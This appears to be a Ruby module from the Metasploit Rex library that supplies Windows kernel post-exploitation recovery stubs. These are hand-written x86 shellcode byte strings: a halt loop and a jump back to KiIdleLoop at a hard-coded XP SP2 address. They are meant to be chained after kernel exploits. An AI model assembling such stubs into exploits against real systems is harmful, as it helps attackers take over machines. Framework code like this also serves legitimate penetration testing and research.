51 lines
1.3 KiB
Ruby
51 lines
1.3 KiB
Ruby
module Rex
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module Payloads
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module Win32
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module Kernel
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#
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# Recovery stubs are responsible for ensuring that the kernel does not crash.
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# They must 'recover' after the exploit has succeeded, either by consuming
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# the thread or continuing it on with its normal execution. Recovery stubs
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# will often be exploit dependent.
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#
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module Recovery
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#
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# The default recovery method is to spin the thread
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#
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def self.default(opts = {})
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spin(opts)
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end
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#
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# Infinite 'hlt' loop.
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#
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def self.spin(opts = {})
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"\xf4\xeb\xfd"
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end
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#
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# Restarts the idle thread by jumping back to the entry point of
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# KiIdleLoop. This requires a hard-coded address of KiIdleLoop.
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# You can pass the 'KiIdleLoopAddress' in the options hash.
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#
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def self.idlethread_restart(opts = {})
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# Default to fully patched XPSP2
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opts['KiIdleLoopAddress'] = 0x804dbb27 if opts['KiIdleLoopAddress'].nil?
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"\x31\xC0" + # xor eax,eax
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"\x64\xC6\x40\x24\x02" + # mov byte [fs:eax+0x24],0x2
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"\x8B\x1D\x1C\xF0\xDF\xFF" + # mov ebx,[0xffdff01c]
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"\xB8" + [opts['KiIdleLoopAddress']].pack('V') + # mov eax, 0x804dbb27
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"\x6A\x00" + # push byte +0x0
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"\xFF\xE0" # jmp eax
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end
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end
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end
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end
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end
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end
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